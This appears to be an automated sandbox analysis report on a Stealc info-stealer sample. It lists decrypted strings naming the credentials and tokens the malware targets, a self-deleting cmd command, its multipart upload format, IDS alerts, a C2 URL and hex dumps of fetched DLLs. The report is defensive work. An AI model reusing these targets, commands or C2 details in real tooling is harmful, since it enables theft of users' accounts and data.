Source: 0.2.file.exe.d0000.0.unpack	String decryptor: DisplayVersion
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: Network Info:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: - IP: IP?
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: - Country: ISO?
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: System Summary:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: - HWID:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: - OS:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: - Architecture:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: - UserName:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: - Computer Name:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: - Local Time:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: - UTC:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: - Language:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: - Keyboards:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: - Laptop:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: - Running Path:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: - CPU:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: - Threads:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: - Cores:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: - RAM:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: - Display Resolution:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: - GPU:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: User Agents:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: Installed Apps:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: All Users:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: Current User:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: Process List:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: system_info.txt
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: freebl3.dll
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: mozglue.dll
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: msvcp140.dll
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: nss3.dll
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: softokn3.dll
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: vcruntime140.dll
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: \Temp\
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: .exe
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: runas
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: open
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: /c start
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: %DESKTOP%
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: %APPDATA%
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: %USERPROFILE%
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: %DOCUMENTS%
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: %RECENT%
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: *.lnk
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: files
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: \discord\
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: \Telegram Desktop\
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: key_datas
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: map*
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: Telegram
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: Tox
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: *.tox
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: *.ini
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: Password
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: 00000001
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: 00000002
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: 00000003
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: 00000004
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: Pidgin
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: \.purple\
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: accounts.xml
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: token:
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: Software\Valve\Steam
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: SteamPath
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: \config\
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: ssfn*
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: config.vdf
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: DialogConfig.vdf
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: libraryfolders.vdf
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: loginusers.vdf
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: \Steam\
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: sqlite3.dll
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: browsers
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: done
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: soft
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: https
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: POST
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: HTTP/1.1
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: hwid
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: build
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: token
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: file_name
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: file
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: message
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.file.exe.d0000.0.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C69A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C694440 PK11_PrivDecrypt,	0_2_6C694440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C664420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C664420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6944C0 PK11_PubEncrypt,	0_2_6C6944C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C6E25B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6C678670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6C69A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6C67E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6C6BA730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6C6C0180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6943B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6C6943B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B7C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6C6B7C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C677D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6C677D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BBD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6C6BBD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B9EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6C6B9EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693FF0 PK11_PrivDecryptPKCS1,	0_2_6C693FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C699840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6C699840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6C693850

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49845 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2080218052.000000006F8ED000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2079988567.000000006CF01000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2037523332.00000000000FC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1669377238.0000000004B2B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2079988567.000000006CF01000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2037523332.00000000000FC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1669377238.0000000004B2B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2080218052.000000006F8ED000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 42MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 10:27:04 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 10:27:21 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 10:27:22 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 